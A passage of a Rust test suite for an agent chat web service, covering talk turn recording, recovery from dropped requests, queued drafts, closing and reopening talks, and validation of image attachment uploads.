16036        assert_eq!(requeued.state, "incomplete");
16037        assert_eq!(requeued.done, 6);
16038        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16039
16040        let empty = talk_task_progress(&[]);
16041        assert_eq!(empty.state, "none");
16042        assert_eq!(empty.total, 0);
16043        assert_eq!(empty.done, 0);
16044        assert!(empty.unfinished_ids.is_empty());
16045        assert!(empty.counts.values().all(|count| *count == 0));
16046    }
16047
16048    #[tokio::test]
16049    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16050        let (_tmp, _repo, f) = talk_fixture().await;
16051        let id = f.post("/api/talks", None).await.json()["id"]
16052            .as_str()
16053            .expect("id")
16054            .to_owned();
16055
16056        let res = f
16057            .post(
16058                &format!("/api/talks/{id}/say"),
16059                Some(r#"{"text":"what does the queue module do?"}"#),
16060            )
16061            .await;
16062        assert_eq!(res.status, 202, "{}", res.body);
16063        let queued = res.json();
16064        let turns = queued["turns"].as_array().expect("turns array");
16065        assert_eq!(
16066            turns.len(),
16067            1,
16068            "the answer reflects only what is on disk the instant it is sent, \
16069             before the agent's turn - which can run for the whole of \
16070             `[graph] timeout_talk` - has a chance to land: {queued}"
16071        );
16072        assert_eq!(turns[0]["who"], "operator");
16073        assert_eq!(turns[0]["body"], "what does the queue module do?");
16074        assert_eq!(
16075            queued["thinking"], true,
16076            "the accepted response exposes the background turn claim: {queued}"
16077        );
16078
16079        let mut turns_after = 1;
16080        for _ in 0..SETTLE_STEPS {
16081            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16082            turns_after = detail["turns"].as_array().expect("turns array").len();
16083            if turns_after == 2 {
16084                break;
16085            }
16086            tokio::time::sleep(Duration::from_millis(10)).await;
16087        }
16088        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16089    }
16090
16091    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16092    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16093    /// guards against: `talk::record` used to return, and only *then* did the
16094    /// handler make a second, separate disk round trip before spawning the
16095    /// agent's reply task. A future dropped in that gap left a message
16096    /// recorded on disk with no reply task ever started and no way back short
16097    /// of a fresh message - and the gap was not even the whole story: *any*
16098    /// `.await` in this handler, including the very first one, is a point
16099    /// where a drop can land after the awaited work already finished but
16100    /// before this handler's own code resumes to act on it. `record` now
16101    /// runs inside the task `tokio::spawn` hands to the runtime before this
16102    /// handler ever awaits anything of its own again, so there is nothing
16103    /// left in *this* handler's future for a disconnect to interrupt between
16104    /// the message landing on disk and the reply task starting.
16105    ///
16106    /// A real socket disconnect cannot be relied on to land in the old gap
16107    /// from a test - over loopback, `talk_say` typically finishes before the
16108    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16109    /// same failure mode directly: it drops the task's future at whatever
16110    /// point it has reached, exactly what axum does to the handler future,
16111    /// without needing to win a real network race. Sweeping the delay before
16112    /// aborting samples a range of points the task's execution can be at,
16113    /// including where the old code sat waiting on its second disk round
16114    /// trip - confirmed by reverting this fix locally and watching this same
16115    /// sweep catch a talk stuck with the operator's turn recorded and no
16116    /// reply ever following.
16117    #[tokio::test]
16118    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16119        let tmp = TempDir::new().expect("tempdir");
16120        let repo = tmp.path().join("repo");
16121        std::fs::create_dir_all(&repo).expect("repo dir");
16122        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16123        let home = TempDir::new().expect("temp home");
16124        let talks = Talks::at(home.path().join("talks"));
16125        let ui = Arc::new(
16126            Ui::new(
16127                Queue::at(home.path().join("queue")),
16128                Questions::at(home.path().join("questions")),
16129                talks.clone(),
16130                home.path().join("runs"),
16131                home.path().to_path_buf(),
16132                repo.clone(),
16133            )
16134            .with_worktrees_root(home.path().join("wt")),
16135        );
16136        let cfg = config_for(&repo).await.expect("discover config");
16137
16138        for delay in 0..40u32 {
16139            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16140            let id = talk.id.clone();
16141
16142            let handler = tokio::spawn(talk_say(
16143                State(Arc::clone(&ui)),
16144                Path(id.clone()),
16145                Ok(Json(NewTalkTurn {
16146                    reply_to: None,
16147                    text: "what does the queue module do?".to_owned(),
16148                    attachments: Vec::new(),
16149                })),
16150            ));
16151            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16152            handler.abort();
16153            // Wait out the abort so the next iteration's talk does not race
16154            // this one's still-unwinding turn guard.
16155            let _ = handler.await;
16156
16157            let mut turns = 0;
16158            for _ in 0..SETTLE_STEPS {
16159                if let Ok(fresh) = talks.get(&id) {
16160                    turns = fresh.turns.len();
16161                    if turns != 1 {
16162                        break;
16163                    }
16164                }
16165                tokio::time::sleep(Duration::from_millis(10)).await;
16166            }
16167            assert_ne!(
16168                turns, 1,
16169                "delay {delay}: talk {id} recorded the operator's turn but \
16170                 the agent never answered - the reply task was never \
16171                 started after the handler future was dropped"
16172            );
16173        }
16174    }
16175
16176    /// The same drop, landing on `talk_say`'s other durable write.
16177    ///
16178    /// When a turn is already running, the busy branch persists the
16179    /// operator's text as a queued draft and then reclaims the turn slot if
16180    /// the holder gave it up in the meantime - and whoever reclaims owes that
16181    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16182    /// which finishes whether or not the future awaiting it is still there,
16183    /// so a handler dropped at that `.await` used to leave the draft written
16184    /// to disk with the reclaimed guard dropped unread and no drainer ever
16185    /// started: the message sat queued until some unrelated later `say`
16186    /// happened to pick it up.
16187    ///
16188    /// This used to drive the handler future by hand, polling it a fixed
16189    /// number of times to park it at the `.await` where it asks for the turn
16190    /// and finds it busy, before the reclaim's slot-free case could be set up
16191    /// underneath it. That assumed a fixed number of polls lands at a fixed
16192    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16193    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16194    /// poll, so any number of this handler's several `blocking` awaits can
16195    /// collapse into one poll under load, landing the drive somewhere other
16196    /// than intended - including, occasionally, straight past the handler's
16197    /// own completion, which made polling it again panic with "async fn
16198    /// resumed after completion". No poll count fixes that; the handler's
16199    /// progress simply is not something a caller outside it can observe by
16200    /// counting.
16201    ///
16202    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16203    /// inside the write itself, so the interleaving under test is pinned by
16204    /// an event instead of a guess: the gate fires only once the handler has
16205    /// actually decided `Busy` and is about to persist the draft, and it
16206    /// blocks that write until the test lets it through. Between those two
16207    /// moments the test drains the turn the handler found busy - through
16208    /// `drain_loop`, the protocol's other half - and then aborts the handler
16209    /// task outright, the same way axum drops a disconnected request's
16210    /// future. The write, and the reclaim it may do, run to completion
16211    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16212    /// to the runtime before ever touching the gate, wholly independent of
16213    /// whether the handler that started it is still around - which is what
16214    /// this test is actually checking. A drainer other than that reclaim
16215    /// cannot exist here: the test's own `drain_loop` call happens before the
16216    /// gate opens, so it runs while the queue is still empty and hands the
16217    /// turn straight back rather than draining anything, closing off the
16218    /// possibility of the final assertion passing without the reclaim ever
16219    /// having done its job.
16220    #[tokio::test]
16221    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16222        let tmp = TempDir::new().expect("tempdir");
16223        let repo = tmp.path().join("repo");
16224        std::fs::create_dir_all(&repo).expect("repo dir");
16225        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16226        let home = TempDir::new().expect("temp home");
16227        let talks = Talks::at(home.path().join("talks"));
16228        let ui = Arc::new(
16229            Ui::new(
16230                Queue::at(home.path().join("queue")),
16231                Questions::at(home.path().join("questions")),
16232                talks.clone(),
16233                home.path().join("runs"),
16234                home.path().to_path_buf(),
16235                repo.clone(),
16236            )
16237            .with_worktrees_root(home.path().join("wt")),
16238        );
16239        let cfg = config_for(&repo).await.expect("discover config");
16240        // Both waits guard against hangs, not slow filesystem or Git work on
16241        // a loaded test host. The gates and lock polls assert the ordering.
16242        let hang_guard = Duration::from_secs(30);
16243
16244        for attempt in 0..3u32 {
16245            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16246            let id = talk.id.clone();
16247            // A turn is already running, which is what sends `talk_say` down
16248            // the busy branch.
16249            let turn_guard = ui
16250                .begin_talk_turn(&id)
16251                .expect("claim the turn")
16252                .expect("a fresh talk owes nobody a turn");
16253
16254            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16255            let (release_tx, release_rx) = std::sync::mpsc::channel();
16256            ui.set_busy_queue_gate(BusyQueueGate {
16257                reached: reached_tx,
16258                release: release_rx,
16259            });
16260
16261            let handler = tokio::spawn(talk_say(
16262                State(Arc::clone(&ui)),
16263                Path(id.clone()),
16264                Ok(Json(NewTalkTurn {
16265                    reply_to: None,
16266                    text: "what does the queue module do?".to_owned(),
16267                    attachments: Vec::new(),
16268                })),
16269            ));
16270
16271            // Wait for the busy branch to actually reach the gate, rather
16272            // than for any fixed number of polls of anything - a bounded
16273            // wait rather than a bare `.await` so a regression that never
16274            // reaches the gate fails the test instead of hanging it.
16275            tokio::time::timeout(hang_guard, reached_rx)
16276                .await
16277                .unwrap_or_else(|_| {
16278                    panic!(
16279                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16280                    )
16281                })
16282                .expect("the busy branch dropped the gate without using it");
16283            assert!(
16284                crate::chat_worker::try_publication_guard(&talks, &id)
16285                    .expect("publication fence")
16286                    .is_none(),
16287                "a queued worker cannot promote text before its successor reservation is published"
16288            );
16289
16290            // A listener replacement queues its writer behind this accepted
16291            // mutation. Even disconnecting the HTTP caller must not release
16292            // admission before the write-to-worker handoff has completed.
16293            let closing = Arc::clone(&ui.admissions).write_owned();
16294            tokio::pin!(closing);
16295            std::future::poll_fn(|cx| {
16296                assert!(closing.as_mut().poll(cx).is_pending());
16297                std::task::Poll::Ready(())
16298            })
16299            .await;
16300            assert!(
16301                ui.begin_admission().is_err(),
16302                "replacement blocks later admissions"
16303            );
16304
16305            // The turn that was running now finishes and gives the slot up
16306            // the way a real one does - through `drain_loop`, which finds
16307            // nothing queued yet (the write is still held at the gate) and
16308            // releases. The handler, parked inside `spawn_blocking` on the
16309            // other side of the gate, still believes the talk is busy -
16310            // exactly the interleaving the reclaim exists for.
16311            let running = talks.get(&id).expect("reload talk");
16312            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16313
16314            // Drop the handler future now, the way a reloading phone drops
16315            // it: suspended waiting on the busy branch's answer, having
16316            // itself made no more progress since it handed the write off.
16317            handler.abort();
16318            let _ = handler.await;
16319            std::future::poll_fn(|cx| {
16320                assert!(
16321                    closing.as_mut().poll(cx).is_pending(),
16322                    "HTTP cancellation must not abandon a publishing transaction"
16323                );
16324                std::task::Poll::Ready(())
16325            })
16326            .await;
16327            assert!(
16328                crate::chat_worker::try_publication_guard(&talks, &id)
16329                    .expect("publication fence after disconnect")
16330                    .is_none()
16331            );
16332
16333            // Only now let the gated write proceed. It persists the draft
16334            // and reclaims the now-free slot from inside the task the busy
16335            // branch already spawned - unaffected by the handler's abort
16336            // above, since that task was independent of the handler's own
16337            // future from the moment it was spawned.
16338            release_tx.send(()).expect("busy queue write still gated");
16339            drop(
16340                tokio::time::timeout(hang_guard, closing)
16341                    .await
16342                    .unwrap_or_else(|_| {
16343                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16344                    }),
16345            );
16346            assert!(
16347                crate::chat_worker::try_publication_guard(&talks, &id)
16348                    .expect("publication fence after acknowledgement")
16349                    .is_some(),
16350                "the publication fence is not retained by the long response"
16351            );
16352
16353            // A settled talk: the draft drained into an operator turn and
16354            // answered.
16355            let mut fresh = talks.get(&id).expect("reload talk");
16356            for _ in 0..SETTLE_STEPS {
16357                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16358                    break;
16359                }
16360                tokio::time::sleep(Duration::from_millis(10)).await;
16361                fresh = talks.get(&id).expect("reload talk");
16362            }
16363            assert!(
16364                fresh.pending.is_empty() && fresh.turns.len() == 2,
16365                "attempt {attempt}: talk {id} left the operator's text queued \
16366                 with no drainer - the reclaimed turn was dropped along with \
16367                 the handler future (pending {:?}, {} turns)",
16368                fresh.pending,
16369                fresh.turns.len()
16370            );
16371        }
16372    }
16373
16374    #[tokio::test]
16375    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16376        let (_tmp, _repo, f) = talk_fixture().await;
16377        let id = f.post("/api/talks", None).await.json()["id"]
16378            .as_str()
16379            .expect("id")
16380            .to_owned();
16381        let store = f.talks();
16382        let mut recovered = store.get(&id).expect("opened talk");
16383        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16384            .expect("persist pending draft without a live turn");
16385
16386        let edited = f
16387            .post(
16388                &format!("/api/talks/{id}/pending/edit"),
16389                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16390            )
16391            .await;
16392        assert_eq!(edited.status, 200, "{}", edited.body);
16393        assert!(edited.json()["thinking"].as_bool().unwrap());
16394
16395        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16396        for _ in 0..SETTLE_STEPS {
16397            if detail["turns"].as_array().expect("turns").len() == 2 {
16398                break;
16399            }
16400            tokio::time::sleep(Duration::from_millis(10)).await;
16401            detail = f.get(&format!("/api/talks/{id}")).await.json();
16402        }
16403        let turns = detail["turns"].as_array().expect("turns");
16404        assert_eq!(
16405            turns.len(),
16406            2,
16407            "the recovered draft must run once: {detail}"
16408        );
16409        assert_eq!(turns[0]["body"], "corrected");
16410        assert_eq!(detail["pending"], "");
16411    }
16412
16413    #[tokio::test]
16414    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16415        let tmp = TempDir::new().expect("tempdir");
16416        let repo = tmp.path().join("repo");
16417        std::fs::create_dir_all(&repo).expect("repo dir");
16418        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16419        let f = Fixture::with_repo(repo).await;
16420        let id = f.post("/api/talks", None).await.json()["id"]
16421            .as_str()
16422            .expect("id")
16423            .to_owned();
16424        let store = f.talks();
16425        let mut recovered = store.get(&id).expect("opened talk");
16426        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16427            .expect("persist pending draft without a live turn");
16428
16429        let refused = f
16430            .post(
16431                &format!("/api/talks/{id}/say"),
16432                Some(r#"{"text":"new message"}"#),
16433            )
16434            .await;
16435        assert_eq!(refused.status, 409, "{}", refused.body);
16436        assert!(refused.body.contains("resume"), "{}", refused.body);
16437        let saved = store.get(&id).expect("draft remains after refusal");
16438        assert!(saved.turns.is_empty());
16439        assert_eq!(saved.pending, "saved before restart");
16440
16441        let say_path = format!("/api/talks/{id}/say");
16442        let (first, second) = tokio::join!(
16443            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16444            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16445        );
16446        assert_eq!(first.status, 409, "{}", first.body);
16447        assert_eq!(second.status, 409, "{}", second.body);
16448        let saved = store
16449            .get(&id)
16450            .expect("draft remains after concurrent refusals");
16451        assert!(saved.turns.is_empty());
16452        assert_eq!(saved.pending, "saved before restart");
16453
16454        let resumed = f
16455            .post(&format!("/api/talks/{id}/pending/resume"), None)
16456            .await;
16457        assert_eq!(resumed.status, 202, "{}", resumed.body);
16458        let duplicate = f
16459            .post(&format!("/api/talks/{id}/pending/resume"), None)
16460            .await;
16461        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16462
16463        for _ in 0..SETTLE_STEPS {
16464            if store.get(&id).expect("talk").turns.len() == 2 {
16465                break;
16466            }
16467            tokio::time::sleep(Duration::from_millis(10)).await;
16468        }
16469        let finished = store.get(&id).expect("finished talk");
16470        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16471        assert_eq!(finished.turns[0].body, "saved before restart");
16472        assert!(finished.pending.is_empty());
16473    }
16474
16475    #[tokio::test]
16476    async fn an_image_only_recovered_draft_resumes_without_text() {
16477        let (_tmp, _repo, f) = talk_fixture().await;
16478        let id = f.post("/api/talks", None).await.json()["id"]
16479            .as_str()
16480            .expect("id")
16481            .to_owned();
16482        let uploaded = f
16483            .post_bytes(
16484                &format!("/api/talks/{id}/attachments"),
16485                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16486                PNG_BYTES,
16487            )
16488            .await;
16489        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16490        let attachment = f
16491            .talks()
16492            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16493            .expect("attachment metadata")
16494            .expect("stored attachment");
16495        let store = f.talks();
16496        let mut recovered = store.get(&id).expect("opened talk");
16497        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16498
16499        let resumed = f
16500            .post(&format!("/api/talks/{id}/pending/resume"), None)
16501            .await;
16502        assert_eq!(resumed.status, 202, "{}", resumed.body);
16503        for _ in 0..SETTLE_STEPS {
16504            if store.get(&id).expect("talk").turns.len() == 2 {
16505                break;
16506            }
16507            tokio::time::sleep(Duration::from_millis(10)).await;
16508        }
16509        let finished = store.get(&id).expect("finished talk");
16510        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16511        assert!(finished.turns[0].body.is_empty());
16512        assert_eq!(finished.turns[0].attachments.len(), 1);
16513        assert!(finished.pending_attachments.is_empty());
16514    }
16515
16516    #[tokio::test]
16517    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16518        let (_tmp, _repo, f) = talk_fixture().await;
16519        let id = f.post("/api/talks", None).await.json()["id"]
16520            .as_str()
16521            .expect("id")
16522            .to_owned();
16523        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16524        assert_eq!(closed.status, 200, "{}", closed.body);
16525        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16526            .expect("serialize closed talk");
16527        for (path, body) in [
16528            (format!("/api/talks/{id}/pending/resume"), None),
16529            (
16530                format!("/api/talks/{id}/pending/clear"),
16531                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16532            ),
16533            (
16534                format!("/api/talks/{id}/pending/edit"),
16535                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16536            ),
16537            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16538        ] {
16539            let response = f.post(&path, body).await;
16540            assert_eq!(response.status, 409, "{}", response.body);
16541        }
16542        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16543            .expect("serialize closed talk");
16544        assert_eq!(
16545            after_clear, before_clear,
16546            "clear must not rewrite a closed talk"
16547        );
16548    }
16549
16550    /// Keeps both claims observable long enough to exercise the distinction
16551    /// between one busy talk and a globally locked Chat surface.
16552    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16553
16554    #[tokio::test]
16555    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16556        let tmp = TempDir::new().expect("tempdir");
16557        let repo = tmp.path().join("repo");
16558        std::fs::create_dir_all(&repo).expect("repo dir");
16559        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16560        let f = Fixture::with_repo(repo).await;
16561        let id_a = f.post("/api/talks", None).await.json()["id"]
16562            .as_str()
16563            .unwrap()
16564            .to_owned();
16565        let id_b = f.post("/api/talks", None).await.json()["id"]
16566            .as_str()
16567            .unwrap()
16568            .to_owned();
16569
16570        let a = f
16571            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16572            .await;
16573        assert_eq!(a.status, 202, "{}", a.body);
16574        assert_eq!(a.json()["thinking"], true);
16575        let b = f
16576            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16577            .await;
16578        assert_eq!(b.status, 202, "{}", b.body);
16579        assert_eq!(b.json()["thinking"], true);
16580
16581        let listed = f.get("/api/talks").await.json();
16582        for id in [&id_a, &id_b] {
16583            let view = listed
16584                .as_array()
16585                .unwrap()
16586                .iter()
16587                .find(|talk| talk["id"] == *id)
16588                .unwrap();
16589            assert_eq!(view["thinking"], true, "{listed}");
16590        }
16591        let repeated = f
16592            .post(
16593                &format!("/api/talks/{id_a}/say"),
16594                Some(r#"{"text":"again"}"#),
16595            )
16596            .await;
16597        assert_eq!(repeated.status, 202, "{}", repeated.body);
16598        assert_eq!(repeated.json()["pending"], "again");
16599    }
16600
16601    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16602    /// few more, since real uploads are never exactly eight bytes.
16603    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16604
16605    #[tokio::test]
16606    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16607        let f = Fixture::start().await;
16608        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16609
16610        let res = f
16611            .post_bytes(
16612                &format!("/api/talks/{id}/attachments"),
16613                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16614                PNG_BYTES,
16615            )
16616            .await;
16617        assert_eq!(res.status, 201, "{}", res.body);
16618        let body = res.json();
16619        assert_eq!(body["name"], "shot.png");
16620        assert_eq!(body["mime"], "image/png");
16621        assert_eq!(body["bytes"], PNG_BYTES.len());
16622        let att_id = body["id"].as_str().expect("id").to_owned();
16623        assert_eq!(
16624            att_id.len(),
16625            32,
16626            "the id must never be a client-suppliable path: {att_id}"
16627        );
16628
16629        let got = f
16630            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16631            .await;
16632        assert_eq!(got.status, 200, "{}", got.body);
16633        assert_eq!(got.header("content-type"), Some("image/png"));
16634        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16635        assert_eq!(got.bytes, PNG_BYTES);
16636    }
16637
16638    #[tokio::test]
16639    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16640        let f = Fixture::start().await;
16641        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16642
16643        // SVG can carry a `<script>`, so it is never on the whitelist even
16644        // though it is a real IANA image type.
16645        let svg = f
16646            .post_bytes(
16647                &format!("/api/talks/{id}/attachments"),
16648                &[("Content-Type", "image/svg+xml")],
16649                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16650            )
16651            .await;
16652        assert!(
16653            (400..500).contains(&svg.status),
16654            "svg must be refused: {} {}",
16655            svg.status,
16656            svg.body
16657        );
16658        assert!(svg.body.contains("SVG"), "{}", svg.body);
16659
16660        let text = f
16661            .post_bytes(
16662                &format!("/api/talks/{id}/attachments"),
16663                &[("Content-Type", "text/plain")],
16664                b"just some text",
16665            )
16666            .await;
16667        assert!(
16668            (400..500).contains(&text.status),
16669            "an unlisted type must be refused: {} {}",
16670            text.status,
16671            text.body
16672        );
16673
16674        // The declared type is a real png, but the size check runs before
16675        // the bytes are even looked at.
16676        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16677        let big = f
16678            .post_bytes(
16679                &format!("/api/talks/{id}/attachments"),
16680                &[("Content-Type", "image/png")],
16681                &oversized,
16682            )
16683            .await;
16684        assert_eq!(
16685            big.status,
16686            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16687            "{}",
16688            big.body
16689        );
16690    }
16691
16692    #[tokio::test]
16693    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16694        let f = Fixture::start().await;
16695        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16696
16697        // A whitelisted `Content-Type`, but bytes that are not actually a
16698        // png - the declared header alone is never trusted.
16699        let res = f
16700            .post_bytes(
16701                &format!("/api/talks/{id}/attachments"),
16702                &[("Content-Type", "image/png")],
16703                b"<html>not a picture</html>",
16704            )
16705            .await;
16706        assert!((400..500).contains(&res.status), "{}", res.body);
16707    }
16708
16709    #[tokio::test]
16710    async fn an_unknown_attachment_id_is_a_404() {
16711        let f = Fixture::start().await;
16712        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16713
16714        let res = f
16715            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16716            .await;
16717        assert_eq!(res.status, 404, "{}", res.body);
16718    }
16719
16720    #[tokio::test]
16721    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16722        let f = Fixture::start().await;
16723        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16724
16725        let uploaded = f
16726            .post_bytes(
16727                &format!("/api/talks/{id}/attachments"),
16728                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16729                PNG_BYTES,
16730            )
16731            .await;
16732        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16733        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16734
16735        let res = f
16736            .post(
16737                &format!("/api/talks/{id}/say"),
16738                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16739            )
16740            .await;
16741        assert_eq!(res.status, 202, "{}", res.body);
16742        let queued = res.json();
16743        let turns = queued["turns"].as_array().expect("turns array");
16744        assert_eq!(
16745            turns.len(),
16746            1,
16747            "an empty body with an attachment is still a turn: {queued}"
16748        );
16749        assert_eq!(turns[0]["who"], "operator");
16750        assert_eq!(turns[0]["body"], "");
16751        let atts = turns[0]["attachments"]
16752            .as_array()
16753            .expect("attachments array");
16754        assert_eq!(atts.len(), 1);
16755        assert_eq!(atts[0]["id"], att_id);
16756        assert_eq!(atts[0]["mime"], "image/png");
16757
16758        // Not only in the response: `record` flushes to disk before the
16759        // agent's own turn is even spawned.
16760        let on_disk = f.talks().get(&id).expect("get");
16761        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16762        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16763    }
16764
16765    #[tokio::test]
16766    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16767        let f = Fixture::start().await;
16768        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16769
16770        let res = f
16771            .post(
16772                &format!("/api/talks/{id}/say"),
16773                Some(&format!(
16774                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16775                    "a".repeat(32)
16776                )),
16777            )
16778            .await;
16779        assert!((400..500).contains(&res.status), "{}", res.body);
16780        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16781
16782        let on_disk = f.talks().get(&id).expect("get");
16783        assert!(
16784            on_disk.turns.is_empty(),
16785            "a rejected attachment id must not partially record the turn: {:?}",
16786            on_disk.turns
16787        );
16788    }
16789
16790    #[tokio::test]
16791    async fn talk_close_makes_the_talk_refuse_further_turns() {
16792        let f = Fixture::start().await;
16793        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16794
16795        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16796        assert_eq!(closed.status, 200, "{}", closed.body);
16797        assert_eq!(closed.json()["status"], "closed");
16798
16799        // Idempotent: closing an already-closed talk is not an error.
16800        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16801        assert_eq!(closed_again.status, 200);
16802        assert_eq!(closed_again.json()["status"], "closed");
16803
16804        let said = f
16805            .post(
16806                &format!("/api/talks/{id}/say"),
16807                Some(r#"{"text":"too late"}"#),
16808            )
16809            .await;
16810        assert_eq!(said.status, 409, "{}", said.body);
16811    }
16812
16813    #[tokio::test]
16814    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16815        let f = Fixture::start().await;
16816        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16817        let store = f.talks();
16818        let mut queued = store.get(&id).expect("talk");
16819        for automatic in [false, true] {
16820            if automatic {
16821                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16822                    .expect("queue automatic input");
16823            } else {
16824                talk::queue(&mut queued, &store, "queued send", Vec::new())
16825                    .expect("queue operator input");
16826            }
16827            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16828            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16829            assert_eq!(refused.status, 409, "{}", refused.body);
16830            assert!(refused.body.contains("pending input"), "{}", refused.body);
16831            assert_eq!(
16832                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16833                before,
16834                "a close refusal must preserve the entire record"
16835            );
16836            talk::clear_pending(&mut queued, &store).expect("clear saved input");
16837        }
16838        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16839        assert_eq!(closed.status, 200, "{}", closed.body);
16840        assert_eq!(closed.json()["status"], "closed");
16841    }
16842
16843    #[tokio::test]
16844    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16845        let (_tmp, _repo, f) = talk_fixture().await;
16846        let id = f.post("/api/talks", None).await.json()["id"]
16847            .as_str()
16848            .expect("id")
16849            .to_owned();
16850        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16851        assert_eq!(closed.status, 200, "{}", closed.body);
16852
16853        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16854        assert_eq!(reopened.status, 200, "{}", reopened.body);
16855        assert_eq!(reopened.json()["status"], "open");
16856
16857        // Idempotent: reopening an already-open talk is not an error.
16858        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16859        assert_eq!(reopened_again.status, 200);
16860        assert_eq!(reopened_again.json()["status"], "open");
16861
16862        let said = f
16863            .post(
16864                &format!("/api/talks/{id}/say"),
16865                Some(r#"{"text":"still there?"}"#),
16866            )
16867            .await;
16868        assert_eq!(
16869            said.status, 202,
16870            "a reopened talk accepts turns again: {}",
16871            said.body
16872        );
16873    }
16874
16875    #[tokio::test]
16876    async fn talk_reopen_on_an_unknown_id_is_404() {
16877        let f = Fixture::start().await;
